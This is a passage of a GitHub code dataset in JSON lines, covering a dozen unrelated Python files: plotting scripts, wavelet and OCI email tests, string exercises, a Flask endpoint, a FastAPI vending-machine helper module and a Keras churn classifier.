type=float, default=DEFAULT_LMAX,\n        help=\"Maximum L value to plot (default: %(default)s).\"\n    )\n    parser.add_argument(\n        \"--Lmin\", type=float, default=DEFAULT_LMIN,\n        help=\"Minimum L value to plot (default: %(default)s).\"\n    )\n    parser.add_argument(\n        \"--verbose\", \"-v\", action=\"store_true\",\n        help=\"Print verbose output (default: %(default)s).\"\n    )\n    parser.add_argument(\n        \"problem_name\", type=str,\n        help=\"Name of problem.\"\n    )\n    parser.add_argument(\n        \"results_path\", type=str, nargs=\"?\", default=os.getcwd(),\n        help=\"Directory containing model results (default: %(default)s).\"\n    )\n    return parser\n\n\ndef main():\n    \"\"\"Main program logic.\n\n    The program starts here.\n\n    Parameters\n    ----------\n    None\n\n    Returns\n    -------\n    None\n    \"\"\"\n\n    # Set up the command-line parser.\n    parser = create_command_line_parser()\n\n    # Parse the command-line arguments.\n    args = parser.parse_args()\n    debug = args.debug\n    Lmax = args.Lmax\n    Lmin = args.Lmin\n    verbose = args.verbose\n    problem_name = args.problem_name\n    results_path = args.results_path\n    if debug:\n        print(f\"args = {args}\")\n        print(f\"debug = {debug}\")\n        print(f\"Lmax = {Lmax}\")\n        print(f\"Lmin = {Lmin}\")\n        print(f\"verbose = {verbose}\")\n        print(f\"problem_name = {problem_name}\")\n        print(f\"results_path = {results_path}\")\n\n    # Import the problem definition.\n    sys.path.append(results_path)\n    p = importlib.import_module(problem_name)\n\n    # Load the overall, residual, and data losses for the each model.\n    losses_model = np.loadtxt(os.path.join(results_path, \"losses_model.dat\"))\n    losses_model_res = np.loadtxt(os.path.join(results_path, \"losses_model_res.dat\"))\n    losses_model_data = np.loadtxt(os.path.join(results_path, \"losses_model_data.dat\"))\n\n    # Plot the loss functions and save as a PNG.\n    mpl.use(\"Agg\")\n    standard_plots.plot_model_loss_functions(\n        losses_model_res, losses_model_data, losses_model,\n        p.dependent_variable_labels\n    )\n    plt.savefig(\"L_models.png\")\n\n\nif __name__ == \"__main__\":\n    \"\"\"Begin main program.\"\"\"\n    main()\n","repo_name":"elwinter/pinn","sub_path":"scripts/plot_model_losses.py","file_name":"plot_model_losses.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34527565288","text":"from .setup import *\n\nimport cr.wavelets._src.wavelet as wt_int\n\n@pytest.mark.parametrize(\"name\", ['haar', 'db2', 'sym4', 'coif2', 'bior1.1', 'rbio1.1', 'dmey'])\ndef test_build_wavelet(name):\n    wavelet = wt.build_wavelet(name)\n    assert wavelet\n    s = str(wavelet)\n    bank = wavelet.filter_bank\n    assert len(bank) == 4\n    inverse_bank = wavelet.inverse_filter_bank\n    assert len(inverse_bank) == 4\n    assert_array_equal(bank[0], inverse_bank[2][::-1])\n    assert_array_equal(bank[1], inverse_bank[3][::-1])\n    assert_array_equal(bank[2], inverse_bank[0][::-1])\n    assert_array_equal(bank[3], inverse_bank[1][::-1])\n    wavefun = wavelet.wavefun(2)\n    assert wavefun is not None\n    integration = wt.integrate_wavelet(wavelet, 2)\n    assert integration is not None\n\n@pytest.mark.parametrize(\"name,order\", [ (wt.FAMILY.CMOR, 4),\n    (wt.FAMILY.DB, 100), (wt.FAMILY.SYM, 400), (wt.FAMILY.COIF, 500), \n    (wt.FAMILY.BIOR, 120), (wt.FAMILY.RBIO, 340), ])\ndef test_build_wavelet_fail(name, order):\n    wavelet = wt.build_discrete_wavelet(name, order)\n    assert wavelet is None\n\ndef test_fake():\n    wavelet = wt.DiscreteWavelet()\n    with assert_raises(NotImplementedError):\n        wavelet.wavefun()\n\n\ndef test_qmf():\n    h = jnp.ones(4)\n    g = wt_int.qmf(h)\n    hh = wt_int.qmf(g)\n    assert_array_equal(h, -hh)\n\ndef test_orthogonal_filter_bank():\n    h = jnp.ones(4)\n    bank = wt_int.orthogonal_filter_bank(h)\n    dec_lo, dec_hi, rec_lo, rec_hi = bank\n    assert_array_equal(rec_hi, wt_int.qmf(rec_lo))\n\ndef test_filter_bank_():\n    h = jnp.ones(4)\n    bank = wt_int.filter_bank_(h)\n    dec_lo, dec_hi, rec_lo, rec_hi = bank\n    assert_array_equal(rec_hi, wt_int.qmf(rec_lo))\n\n\ndef test_mirror():\n    h = jnp.ones(4)\n    h_m = wt_int.mirror(h)\n    h_mm = wt_int.mirror(h_m)\n    assert_array_equal(h, h_mm)\n\ndef test_negate_evens():\n    h = jnp.ones(4)\n    h_m = wt_int.negate_evens(h)\n    h_mm = wt_int.negate_evens(h_m)\n    assert_array_equal(h, h_mm)\n\ndef test_negate_odds():\n    h = jnp.ones(4)\n    h_m = wt_int.negate_odds(h)\n    h_mm = wt_int.negate_odds(h_m)\n    assert_array_equal(h, h_mm)\n\n@pytest.mark.parametrize(\"n,m\", [ (1, 1), (2, 2), (2, 4),\n    (3, 1), (3,9), (4, 4), (5, 5), (6, 8)])\ndef test_bior_index(n, m):\n    idx, max =  wt_int.bior_index(n, m)\n    assert idx >= 0\n    assert max > 0\n\ndef test_bior_index_invalid():\n    idx, max =  wt_int.bior_index(7, 0)\n    assert idx is None\n    assert max is None\n\n@pytest.mark.parametrize(\"name\", ['mexh', 'cmor1.5-2.0'])\ndef test_build_continuous_wavelet(name):\n    wavelet = wt.build_wavelet(name)\n    assert wavelet\n    s = str(wavelet)\n    wavefun = wavelet.wavefun(level=2)\n    assert wavefun is not None\n    assert wavelet.domain > 0\n    cf = wt.central_frequency(wavelet)\n    scales = jnp.array([1., 2.])\n    frequencies = wt.scale2frequency(wavelet, scales)\n    integrated = wt.integrate_wavelet(wavelet, precision=2)\n\n\ndef test_to_wavelet():\n    wavelet = wt.to_wavelet('haar')\n    wavelet2 = wt.to_wavelet(wavelet)\n    assert wavelet2 is wavelet\n    with assert_raises(ValueError):\n        wt.to_wavelet(None)\n\n\n@pytest.mark.parametrize(\"name,family,order,valid\", [\n    ('gaus', wt.FAMILY.GAUS, 2, True), \n    ('gaus', wt.FAMILY.GAUS, 3, True), \n    ('gaus', wt.FAMILY.GAUS, 10, False), \n    ('morl', wt.FAMILY.MORL, 0, True),\n    ('cgau', wt.FAMILY.CGAU, 2, True), \n    ('cgau', wt.FAMILY.CGAU, 3, True), \n    ('cgau', wt.FAMILY.CGAU, 10, False), \n    ('shan', wt.FAMILY.SHAN, 0, True),\n    ('fbsp40.20', wt.FAMILY.FBSP, 0, True),\n    ])\ndef test_unsupported_continuous_wavelets(name, family, order, valid):\n    wavelet = wt.build_continuous_wavelet(name, family, order)\n    if valid:\n        assert wavelet is not None\n    else:\n        assert wavelet is None","repo_name":"carnotresearch/cr-wavelets","sub_path":"tests/test_wavelet.py","file_name":"test_wavelet.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"}
{"seq_id":"4150966177","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\ndf=pd.read_csv('data.txt', sep=\" \", header=None , names=[\"a\",\"b\",\"c\",\"d\",\"e\"])\r\nx=df[\"b\"].tolist()\r\nprint(x)\r\ndf['a'] = df['a'].map(lambda x: x.lstrip('+-').rstrip('\\tReading:'))\r\ny=df[\"a\"].tolist()\r\nprint(y)\r\n\r\nn=5\r\ndef divide_chunks(x, n):\r\n    # looping till length l\r\n    for i in range(0, len(x), n):\r\n        yield x[i:i + n]\r\n\r\n    # How many elements each\r\n\r\n\r\na=[]\r\nb = list(divide_chunks(x, n))\r\nprint(\"The list is\")\r\nprint(b)\r\n\r\nfor elements in b:\r\n    val=(sum(elements)/5)\r\n    a.append(val)\r\n\r\nprint(\"Final Values\")\r\nprint(a)\r\n\r\nfl=len(a)\r\ntime_array=[]\r\nfor i in range(fl):\r\n    time_array.append(i)\r\n\r\n\r\n\r\n\r\n\r\nplt.rcParams['figure.figsize'] = (10, 5)\r\nplt.xlabel('Time (s)')\r\nplt.ylabel('Thrust (N)')\r\nplt.plot(time_array,a)\r\nplt.show()\r\n\r\narea=np.trapz(a, dx=5)\r\nprint(\"Area:\")\r\nprint(area)\r\nprint(\"The Impulse is \"+str(area)+\" Ns\")\r\nmass_fuel=float(input(\"Enter the amount of Fuel Taken in Kg \"))\r\nspecific_impulse=float(area/mass_fuel)\r\nprint(specific_impulse)\r\nprint(\"The Specific Impulse is \"+str(specific_impulse)+\" m/s\")","repo_name":"rajdas2001/ISIC","sub_path":"daq.py","file_name":"daq.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29962465813","text":"que = list(input().strip())\nt = int(input().strip())\nfor i in range(t):\n    met = [e for e in input().strip().split()]\n    if met[0] == \"in\":\n        que.insert(int(met[2]),met[1])\n        print(\"\".join(que))\n    if met[0] == \"out\":\n        que.pop(int(met[1]))\n        print(\"\".join(que))\n    if met[0] == \"swap\":\n        i1 = int(met[1])\n        i2 = int(met[2])\n        que[i1],que[i2] = que[i2],que[i1]\n        print(\"\".join(que))\n","repo_name":"givewgun/python_misc_year1_CU","sub_path":"grader/chap6 list/List1_P12_Queue.py","file_name":"List1_P12_Queue.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72772504359","text":"#!/usr/bin/python\n#\n# Nikhil Handigol <nikhilh@stanford.edu>\n\n'''Logging utility for the simulator\n\n-- Nikhil Handigol'''\n\nimport logging\nfrom logging import Logger\nimport types\n\nLEVELS = { 'debug': logging.DEBUG,\n          'info': logging.INFO,\n          'warning': logging.WARNING,\n          'error': logging.ERROR,\n          'critical': logging.CRITICAL }\n\nLOGLEVELDEFAULT = logging.WARNING\n\n#default: '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\nLOGMSGFORMAT = '%(message)s'\n\nclass StreamHandlerNoNewline( logging.StreamHandler ):\n    \"\"\"StreamHandler that doesn't print newlines by default.\n       Since StreamHandler automatically adds newlines, define a mod to more\n       easily support interactive mode when we want it, or errors-only logging\n       for running unit tests.\"\"\"\n\n    def emit( self, record ):\n        \"\"\"Emit a record.\n           If a formatter is specified, it is used to format the record.\n           The record is then written to the stream with a trailing newline\n           [ N.B. this may be removed depending on feedback ]. If exception\n           information is present, it is formatted using\n           traceback.printException and appended to the stream.\"\"\"\n        try:\n            msg = self.format( record )\n            fs = '%s'  # was '%s\\n'\n            if not hasattr( types, 'UnicodeType' ):  # if no unicode support...\n                self.stream.write( fs % msg )\n            else:\n                try:\n                    self.stream.write( fs % msg )\n                except UnicodeError:\n                    self.stream.write( fs % msg.encode( 'UTF-8' ) )\n            self.flush()\n        except ( KeyboardInterrupt, SystemExit ):\n            raise\n        except:\n            self.handleError( record )\n\n\nclass Singleton( type ):\n    \"\"\"Singleton pattern from Wikipedia\n       See http://en.wikipedia.org/wiki/SingletonPattern#Python\n\n       Intended to be used as a __metaclass_ param, as shown for the class\n       below.\n\n       Changed cls first args to mcs to satisfy pylint.\"\"\"\n\n    def __init__( mcs, name, bases, dict_ ):\n        super( Singleton, mcs ).__init__( name, bases, dict_ )\n        mcs.instance = None\n\n    def __call__( mcs, *args, **kw ):\n        if mcs.instance is None:\n            mcs.instance = super( Singleton, mcs ).__call__( *args, **kw )\n            return mcs.instance\n\nclass SimLogger(Logger, object):\n    \"\"\"SDN-Ctrl-Sim specific logger\n       Enable each .py file to with one import:\n       from log import [lg, info, error]\n\n       ...get a default logger that doesn't require one newline per logging\n       call.\n\n       Use singleton pattern to ensure only one logger is ever created.\"\"\"\n\n    __metaclass__ = Singleton\n\n    def __init__( self ):\n\n        Logger.__init__( self, \"sdnctrlsim\" )\n\n        # create console handler\n        ch = StreamHandlerNoNewline()\n        # create formatter\n        formatter = logging.Formatter( LOGMSGFORMAT )\n        # add formatter to ch\n        ch.setFormatter( formatter )\n        # add ch to lg\n        self.addHandler( ch )\n        self.setLogLevel()\n\n    def setLogLevel( self, levelname=None ):\n        \"\"\"Setup loglevel.\n           Convenience function to support lowercase names.\n           levelName: level name from LEVELS\"\"\"\n        level = LOGLEVELDEFAULT\n        if levelname != None:\n            if levelname not in LEVELS:\n                raise Exception( 'unknown levelname seen in setLogLevel' )\n            else:\n                level = LEVELS.get( levelname, level )\n\n        self.setLevel( level )\n        self.handlers[ 0 ].setLevel( level )\n\n\nlg = SimLogger()\ninfo, warn, error, debug = (\n    lg.info, lg.warn, lg.error, lg.debug)\nsetLogLevel = lg.setLogLevel\n","repo_name":"cromulentbanana/sdnctrlsim","sub_path":"sim/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":3713,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"}
{"seq_id":"19183345218","text":"def reverse(s):\n\t\"\"\"\n\t>>> reverse('happy')\n\t'yppah'\n\t>>> reverse('Python')\n\t'nohtyP'\n\t>>> reverse(\"\")\n\t''\n\t>>> reverse(\"P\")\n\t'P'\n\t\"\"\"\n\ti = 1\n\tresult = \"\"\n\twhile i < len(s) + 1:\n\t\tresult += s[-i]\n\t\ti += 1\n\n\treturn result\n\n\ndef mirror(s):\n\t\"\"\"\n\t>>> mirror(\"good\")\n\t'gooddoog'\n\t>>> mirror(\"yes\")\n\t'yessey'\n\t>>> mirror('Python')\n\t'PythonnohtyP'\n\t>>> mirror(\"\")\n\t''\n\t>>> mirror(\"a\")\n\t'aa'\n\t\"\"\"\n\treturn s + reverse(s)\n\n\ndef remove_letter(letter, strng):\n\t\"\"\"\n\t>>> remove_letter('a','apple')\n\t'pple'\n\t>>> remove_letter('a','banana')\n\t'bnn'\n\t>>> remove_letter('z','banana')\n\t'banana'\n\t>>> remove_letter('i','Mississippi')\n\t'Msssspp'\n\t\"\"\"\n\n\tresult = \"\"\n\tfor i in strng:\n\t\tif i != letter:\n\t\t\tresult += i\n\n\treturn result\n\n\ndef is_palindrome(s):\n\t\"\"\"\n\t>>> is_palindrome('abba')\n\tTrue\n\t>>> is_palindrome('abab')\n\tFalse\n\t>>> is_palindrome('tenet')\n\tTrue\n\t>>> is_palindrome('banana')\n\tFalse\n\t>>> is_palindrome('straw warts')\n\tTrue\n\t\"\"\"\n\t# if s == reverse(s):\n\t# \treturn True\n\t# else:\n\t# \treturn False\n\tfor i in range(0,int(len(s)/2)):\n\t\tif s[i] != s[-(i+1)]:\n\t\t\treturn False\n\n\treturn True\n\n\ndef count(sub, s):\n\t\"\"\"\n\t>>> count('is', 'Mississippi')\n\t2\n\t>>> count('an', 'banana')\n\t2\n\t>>> count('ana', 'banana')\n\t2\n\t>>> count('nana', 'banana')\n\t1\n\t>>> count('nanan', 'banana')\n\t0\n\t\"\"\"\n\tcount = 0\n\tfor i in range(0, len(s)):\n\t\tif len(s) - i >= len(sub) and s[i] == sub[0]:\n\t\t\tif  s[i:len(sub)+i] == sub:\n\t\t\t\tcount += 1\n\n\treturn count\n\n\ndef remove_all(sub, s):\n\t\"\"\"\n\t>>> remove_all('an', 'banana')\n\t'ba'\n\t>>> remove_all('cyc', 'bicycle')\n\t'bile'\n\t>>> remove_all('iss', 'Mississippi')\n\t'Mippi'\n\t>>> remove_all('eggs', 'bicycle')\n\t'bicycle'\n\t\"\"\"\n\ti = 0\n\twhile i < len(s):\n\t\tif len(s) - i >= len(sub):\n\t\t\tif  s[i:len(sub)+i] == sub:\n\t\t\t\ts = s[:i] + s[len(sub)+i:]\n\t\t\t\tbreak\n\t\ti += 1\n\treturn s\n\n\ndef remove_all(sub, s):\n\t\"\"\"\n\t>>> remove_all('an', 'banana')\n\t'ba'\n\t>>> remove_all('cyc', 'bicycle')\n\t'bile'\n\t>>> remove_all('iss', 'Mississippi')\n\t'Mippi'\n\t>>> remove_all('eggs', 'bicycle')\n\t'bicycle'\n\t\"\"\"\n\ti = 0\n\twhile i < len(s):\n\t\tif len(s) - i >= len(sub):\n\t\t\tif  s[i:len(sub)+i] == sub:\n\t\t\t\ts = s[:i] + s[len(sub)+i:]\n\t\t\t\ti -= 1\n\t\ti += 1\n\treturn s\n\n\ndef replace(s, old, new):\n\t\"\"\"\n\t>>> replace('Mississippi', 'i', 'I')\n\t'MIssIssIppI'\n\t>>> s = 'I love spom! Spom is my favorite food. Spom, spom, spom, yum!'\n\t>>> replace(s, 'om', 'am')\n\t'I love spam! Spam is my favorite food. Spam, spam, spam, yum!'\n\t>>> replace(s, 'o', 'a')\n\t'I lave spam! Spam is my favarite faad. Spam, spam, spam, yum!'\n\t\"\"\"\n\ti = 0\n\twhile i < len(s):\n\t\tif len(s) - i >= len(old):\n\t\t\tif  s[i:len(old)+i] == old:\n\t\t\t\ts = s[:i] + new + s[len(old)+i:]\n\t\t\t\ti -= 1\n\t\ti += 1\n\treturn s\n\n\n\nif __name__ == '__main__':\n\timport doctest\n\tdoctest.testmod()","repo_name":"ozeno/python","sub_path":"h3.2/string_tools.py","file_name":"string_tools.py","file_ext":"py","file_size_in_byte":2690,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"24092635740","text":"from flask_restplus import Resource, fields\nfrom flask_jwt_extended import decode_token\nfrom ducttapp import repositories, models\nfrom flask import request\nfrom . import ns\n\nuser_model = ns.model(\n    name='user_res',\n    model={\n        'id': fields.Integer(),\n        'email': fields.String(),\n        'username': fields.String(),\n        'is_admin': fields.Boolean(),\n        'is_active': fields.Boolean(),\n        'updated_at': fields.DateTime(),\n        'fullname': fields.String(),\n        'phone_number': fields.String(),\n        'gender': fields.Boolean(),\n        'birthday': fields.DateTime(),\n        'avatar': fields.String(),\n        'roles': fields.List(fields.Integer())\n    }\n)\n\n\n@ns.route('/currentUser')\nclass CurrentUser(Resource):\n    @ns.marshal_with(user_model)\n    def get(self):\n        if 'access_token_cookie' not in request.cookies:\n            return None\n        try:\n            raw_token = decode_token(request.cookies['access_token_cookie'])\n            user_id = raw_token['identity']\n            user = repositories.user.find_one_by_id(\n                user_id=user_id\n            )\n            return user.to_dict() or None\n        except ValueError:\n            return None\n","repo_name":"anhducc13/flask-app","sub_path":"ducttapp/api/auth/current_user.py","file_name":"current_user.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"38172195658","text":"import tarfile\nfrom zipfile import ZipFile, ZIP_DEFLATED\n\n\ndef tar_to_zip(*tarfiles, zippath):\n    zipfile = zippath.joinpath(\"output.zip\")\n\n    for archive in tarfiles:\n        with ZipFile(zipfile, \"w\", compression=ZIP_DEFLATED) as zf:\n            try:\n                with tarfile.open(archive, \"r\") as tf:\n                    for info in tf:\n                        tf.extract(info, path=\"/tmp/\")\n                        zf.write(f\"/tmp/{info.name}\", arcname=info.name)\n            except tarfile.ReadError as e:\n                print(f\"There was an error reading the file {archive}\")\n","repo_name":"paulghaddad/solve-it","sub_path":"python_workout/b3-cohort/exercise-4/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"5213656764","text":"import requests\nimport os\n\n\nclass FlightChecker:\n    def __init__(self):\n        self.TEQUILA_API_KEY = os.environ.get('TEQUILA_API_KEY')\n        self.SEARCH_URL = 'https://api.tequila.kiwi.com/v2/search'\n        self.IATA_URL = 'https://api.tequila.kiwi.com/locations/query'\n\n        self.header = {\n            'apikey': self.TEQUILA_API_KEY,\n        }\n\n    def get_codes(self, places):\n        codes = []\n        for name_of_place in places:\n            parameters = {\n                'term': name_of_place,\n            }\n            iata_code = requests.get(self.IATA_URL, headers=self.header, params=parameters).json()['locations'][0][\n                'code']\n            codes.append(iata_code)\n\n        return codes\n\n    def get_names(self, codes):\n        names = []\n        for code in codes:\n            parameters = {\n                'term': code,\n            }\n            try:\n                name = \\\n                    requests.get(self.IATA_URL, headers=self.header, params=parameters).json()['locations'][0]['city'][\n                        'name']\n            except:\n                name = requests.get(self.IATA_URL, headers=self.header, params=parameters).json()['locations'][0][\n                    'name']\n            names.append(name)\n\n        return names\n\n    def check_flight(self, user):\n        flights = []\n        for i in range(len(user['fly_to'])):\n            parameters = {\n                \"fly_from\": user['fly_from'],\n                \"fly_to\": user['fly_to'][i],\n                \"date_from\": user['date_from'],\n                \"date_to\": user[\"date_to\"],\n                \"return_from\": user['return_from '],\n                \"return_to\": user[\"return_to\"],\n                \"price_to\": user['price_to'][i],\n                'curr': 'USD',\n            }\n            response = requests.get(self.SEARCH_URL, headers=self.header, params=parameters).json()\n            try:\n                if len(response['data']) > 0:\n                    flight_dict = {\n                        'cityFrom': response['data'][0]['cityFrom'],\n                        'cityTo': response['data'][0]['cityTo'],\n                        'price': response['data'][0]['price'],\n                    }\n                    flights.append(flight_dict)\n            except:\n                flights = flights\n\n        return flights\n","repo_name":"jesseturner21/Flight_Search","sub_path":"flight_checker.py","file_name":"flight_checker.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"13279753489","text":"import pytest\nfrom nose.plugins.skip import SkipTest\nimport logging\nfrom ansible.modules.cloud.oracle import oci_sender\nfrom ansible.module_utils.oracle import oci_utils\n\ntry:\n    import oci\n    from oci.util import to_dict\n    from oci.email.models import Sender\n    from oci.exceptions import ServiceError, ClientError\nexcept ImportError:\n    raise SkipTest(\"test_oci_sender.py requires `oci` module\")\n\n\nclass FakeModule(object):\n    def __init__(self, **kwargs):\n        self.params = kwargs\n\n    def fail_json(self, *args, **kwargs):\n        self.exit_args = args\n        self.exit_kwargs = kwargs\n        raise Exception(kwargs[\"msg\"])\n\n    def exit_json(self, *args, **kwargs):\n        self.exit_args = args\n        self.exit_kwargs = kwargs\n\n\n@pytest.fixture()\ndef email_client(mocker):\n    mock_email_client = mocker.patch(\"oci.email.email_client.EmailClient\")\n    return mock_email_client.return_value\n\n\n@pytest.fixture()\ndef create_and_wait_patch(mocker):\n    return mocker.patch.object(oci_utils, \"create_and_wait\")\n\n\n@pytest.fixture()\ndef delete_and_wait_patch(mocker):\n    return mocker.patch.object(oci_utils, \"delete_and_wait\")\n\n\ndef setUpModule():\n    logging.basicConfig(\n        filename=\"/tmp/oci_ansible_module.log\", filemode=\"a\", level=logging.INFO\n    )\n    oci_sender.set_logger(logging)\n\n\ndef test_create_sender(email_client, create_and_wait_patch):\n    module = get_module(dict(email_address=\"ansible@test.com\"))\n    sender = get_sender()\n    create_and_wait_patch.return_value = {\"sender\": to_dict(sender), \"changed\": True}\n    result = oci_sender.create_sender(email_client, module)\n    assert result[\"sender\"][\"email_address\"] is sender.email_address\n\n\ndef test_delete_sender(email_client, delete_and_wait_patch):\n    module = get_module(dict({\"sender_id\": \"{ocid1.sender..aa}\"}))\n    sender = get_sender()\n    delete_and_wait_patch.return_value = dict(\n        {\"sender\": to_dict(sender), \"changed\": True}\n    )\n    result = oci_sender.delete_sender(email_client, module)\n    assert result[\"changed\"] is True\n\n\ndef get_sender():\n    sender = Sender()\n    sender.email_address = \"ansible@test.com\"\n    return sender\n\n\ndef get_response(status, header, data, request):\n    return oci.Response(status, header, data, request)\n\n\ndef get_module(additional_properties):\n    params = {\"compartment_id\": \"ocid1.compartment.oc1\"}\n    params.update(additional_properties)\n    module = FakeModule(**params)\n    return module\n","repo_name":"oracle/oci-ansible-modules","sub_path":"test/units/test_oci_sender.py","file_name":"test_oci_sender.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"38"}
{"seq_id":"7271181120","text":"from datetime import datetime, timedelta\nfrom typing import MutableMapping, List, Union\n\nfrom bson.objectid import ObjectId\nfrom fastapi.security import OAuth2PasswordBearer\nfrom fastapi import HTTPException, Depends, status\nfrom jose import jwt, JWTError\n\nfrom app.api.helpers.config import settings\nfrom app.database.mongodb import db\nfrom app.api.auth.models import Token, TokenData\nfrom app.api.users.models import Role, UserResponse\nfrom app.api.helpers import exceptions\n\nJWTPayloadMapping = MutableMapping[str, Union[datetime, bool, str, List[str], List[int]]]\noauth2_scheme = OAuth2PasswordBearer(tokenUrl=f\"{settings.API_STR}/auth/login\")\n\ndef fix_id(data):\n    data[\"id\"] = str(data[\"_id\"])\n    return data\n\ndef fix_product_seller_id(data):\n    data[\"id\"] = str(data[\"_id\"])\n    data[\"seller_id\"] = str(data[\"seller_id\"])\n    return data\n\nasync def get_user_by_username_or_404(username: str):\n    user = await db.vending.users.find_one({\"username\": username})\n    return user\n    \nasync def get_product_or_404(id):\n    product_cursor = db.vending.products.find({\"_id\": ObjectId(id)})\n    product = await product_cursor.to_list(length=1)\n    if len(product) > 0:\n        return product[0]\n    else:\n        raise exceptions.ProductNotFoundException()\n    \nasync def get_product_by_name_or_404(name):\n    product_cursor = db.vending.products.find({\"product_name\": name})\n    product = await product_cursor.to_list(length=1)\n    if len(product) > 0:\n        return product[0]\n    else:\n        raise exceptions.ProductNotFoundException()\n    \nasync def does_seller_have_products(seller_id):\n    products_cursor = db.vending.products.find({\"seller_id\": ObjectId(seller_id)})\n    products = await products_cursor.to_list(length=1)\n    if len(products) > 0:\n        return True\n    else:\n        return False\n\nasync def get_user_and_check_if_seller(id):\n    user = await db.vending.users.find_one({\"$and\": [{\"_id\": ObjectId(id), \"role\": Role.seller}]})\n    if user:\n        user = fix_id(user)\n        return user\n    else:\n        raise exceptions.SellerDoesNotExistException()\n\nasync def get_current_user(token: str = Depends(oauth2_scheme)) -> UserResponse:\n    credentials_exception = HTTPException(\n        status_code=status.HTTP_401_UNAUTHORIZED,\n        detail=\"Could not validate credentials\",\n        headers={\"WWW-Authenticate\": \"Bearer\"},\n    )\n    try:\n        payload = jwt.decode(token,settings.JWT_SECRET,algorithms=[settings.ALGORITHM],options={\"verify_aud\": False})\n        username: str = payload.get(\"sub\")\n        if username is None:\n            raise credentials_exception\n        token_data = TokenData(username=username)\n    except JWTError as e:\n        raise credentials_exception\n\n    user = await get_user_by_username_or_404(username=token_data.username)\n    if user is None:\n        raise credentials_exception\n    user = fix_id(data=user)\n    return user","repo_name":"chandan005/vending-machine","sub_path":"app/api/helpers/deps.py","file_name":"deps.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"20410892373","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('C:\\\\Users\\\\박재현\\\\Desktop\\\\deep learning\\\\Churn_Modelling.csv')\nX = dataset.iloc[:, 3:13].values\ny = dataset.iloc[:, 13].values\n\n\n# Encodeing Categorical data\nfrom sklearn.preprocessing import OneHotEncoder, LabelEncoder\n\nfrom sklearn.compose import ColumnTransformer\n\nlabel_encoder_x_1 = LabelEncoder()\nX[: , 2] = label_encoder_x_1.fit_transform(X[:,2])\ntransformer = ColumnTransformer(\n    transformers=[\n        (\"OneHot\",        # Just a name\n         OneHotEncoder(), # The transformer class\n         [1]              # The column(s) to be applied on.\n         )\n    ],\n    remainder='passthrough' # donot apply anything to the remaining columns\n)\nX = transformer.fit_transform(X.tolist())\nX = X.astype('float64')\n\n# To avoid Dummy variable Trap\nX = X[:, 1:]\n\n# Spitting the dataset into the Training set and Test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state=0)\n\n#Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.transform(X_test)\n\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense\n\n# Initializing the ANN\nclassifier = Sequential()\n\n# Adding the input layer and the first hidden Layer\nclassifier.add(Dense(units=6, kernel_initializer='uniform', activation='relu', input_dim=11))\n\n# Adding the second hidden Layer\nclassifier.add(Dense(units=6, kernel_initializer='uniform', activation='relu'))\n\n# Adding the output layer\nclassifier.add(Dense(units=1, kernel_initializer='uniform', activation='sigmoid'))\n\n# Compiling the ANN\nclassifier.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\n\n# Fitting the ANN to the Training set\nclassifier.fit(X_train, y_train, batch_size=10, epochs=10)\n\n# Predicting the Test set results\ny_pred = classifier.predict(X_test)\ny_pred = (y_pred > 0.5)\n\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(y_test, y_pred)\n","repo_name":"namujinju/study-note","sub_path":"python/deep learning/ann_ex.py","file_name":"ann_ex.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"30494890085","text":"\"\"\"\nAuthor:\nPurpose:\nDate：\n\"\"\"\n\nimport argparse\nimport pandas\nimport sqlite3\n\ndef getargs():\n    \"\"\"\n    :arg\n    :return   programare guemnts\n    :date\n    \"\"\"\n    argparser = argparse.ArgumentParser(description='say')\n    argparser.add_argument('--name', default='world!', help='name message')\n    return argparser.parse_args()\n\n\n\n\ndef main():\n    \"\"\"the entrance of this file\"\"\"\n    query = 'create table t1(a integer)'\n    con = sqlite3.connect(':memory:')\n    con.execute(query)\n    con.execute('insert into t1 values(10)')\n    con.execute('insert into t1 values(20)')\n    for item in con.execute('select * from t1'):\n        print(item)\n    pd=pandas.read_sql('select * from t1',con)\n    print(pd)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"frankzou666/MYLEARN","sub_path":"da/06/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
